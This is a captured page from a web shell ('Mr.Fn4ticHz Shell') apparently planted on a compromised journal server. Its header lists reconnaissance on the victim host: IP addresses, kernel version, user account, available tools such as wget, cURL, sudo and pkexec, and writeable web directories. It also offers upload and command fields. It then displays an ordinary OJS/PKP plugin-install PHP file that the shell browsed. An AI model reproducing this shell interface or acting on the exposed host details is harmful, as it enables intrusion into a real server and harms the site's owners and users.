Mr.Fn4ticHz Shell
Server IP : 10.10.92.66  /  Your IP : 104.23.243.85
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux jurnalpolinema 5.15.0-177-generic #187-Ubuntu SMP Sat Apr 11 22:54:33 UTC 2026 x86_64
User : jurnal ( 1001)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/jurnal/public_html/lib/pkp/tools/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/jurnal/public_html/lib/pkp/tools/installPluginVersion.php
<?php

/**
 * @file tools/installPluginVersionTool.php
 *
 * Copyright (c) 2014-2021 Simon Fraser University
 * Copyright (c) 2003-2021 John Willinsky
 * Distributed under the GNU GPL v3. For full terms see the file docs/COPYING.
 *
 * @class InstallPluginVersionTool
 * @ingroup tools
 *
 * @brief CLI tool for installing a plugin version descriptor.
 */

define('RUNNING_UPGRADE', 1);

require(dirname(dirname(dirname(dirname(__FILE__)))) . '/tools/bootstrap.inc.php');

import('lib.pkp.classes.site.Version');
import('lib.pkp.classes.site.VersionCheck');

class InstallPluginVersionTool extends CommandLineTool {
	/** @var string Path to descriptor file to install */
	private $_descriptor;

	/**
	 * Constructor.
	 * @param $argv array command-line arguments
	 */
	function __construct($argv = array()) {
		parent::__construct($argv);

		if (!isset($this->argv[0]) || !file_exists($this->argv[0])) {
			$this->usage();
			exit(1);
		}

		$this->_descriptor = $this->argv[0];
	}

	/**
	 * Print command usage information.
	 */
	function usage() {
		echo "Install plugin version tool\n"
			. "Usage: {$this->scriptName} path/to/version.xml\n";
	}

	/**
	 * Execute the specified command.
	 */
	function execute() {
		$versionInfo = VersionCheck::parseVersionXML($this->_descriptor);
		$pluginVersion = $versionInfo['version'];

		$productType = $pluginVersion->getProductType();
		if (!preg_match('/^plugins\.(.+)$/', $productType, $matches) || !in_array($matches[1], Application::get()->getPluginCategories())) {
			error_log("Invalid type \"$productType\".");
			return false;
		}

		$versionDao = DAORegistry::getDAO('VersionDAO');
		$versionDao->insertVersion($pluginVersion, true);

		$pluginPath = dirname($this->_descriptor);
		$plugin = @include("$pluginPath/index.php");
		if ($plugin && is_object($plugin)) {
			PluginRegistry::register($matches[1], $plugin, $pluginPath);
		}
		$plugin = PluginRegistry::getPlugin($matches[1], $plugin->getName());

		import('classes.install.Upgrade');
		$installer = new Upgrade(array());
		$result = true;
		$param = [&$installer, &$result];

		if ($plugin->getInstallMigration()) {
			$plugin->updateSchema('Installer::postInstall', $param);
		}
		if ($plugin->getInstallSitePluginSettingsFile()) {
			$plugin->installSiteSettings('Installer::postInstall', $param);
		}
		if ($plugin->getInstallControlledVocabFiles()) {
			$plugin->installControlledVocabs('Installer::postInstall', $param);
		}
		if ($plugin->getInstallEmailTemplatesFile()) {
			$plugin->installEmailTemplates('Installer::postInstall', $param);
		}
		if ($plugin->getInstallEmailTemplateDataFile()) {
			$plugin->installEmailTemplateData('Installer::postInstall', $param);
		}
		$plugin->installFilters('Installer::postInstall', $param);
		return $result;
	}
}

$tool = new InstallPluginVersionTool(isset($argv) ? $argv : array());
$tool->execute();



Mr.F4ticHz - 2022
Mr.Fn4tcHzam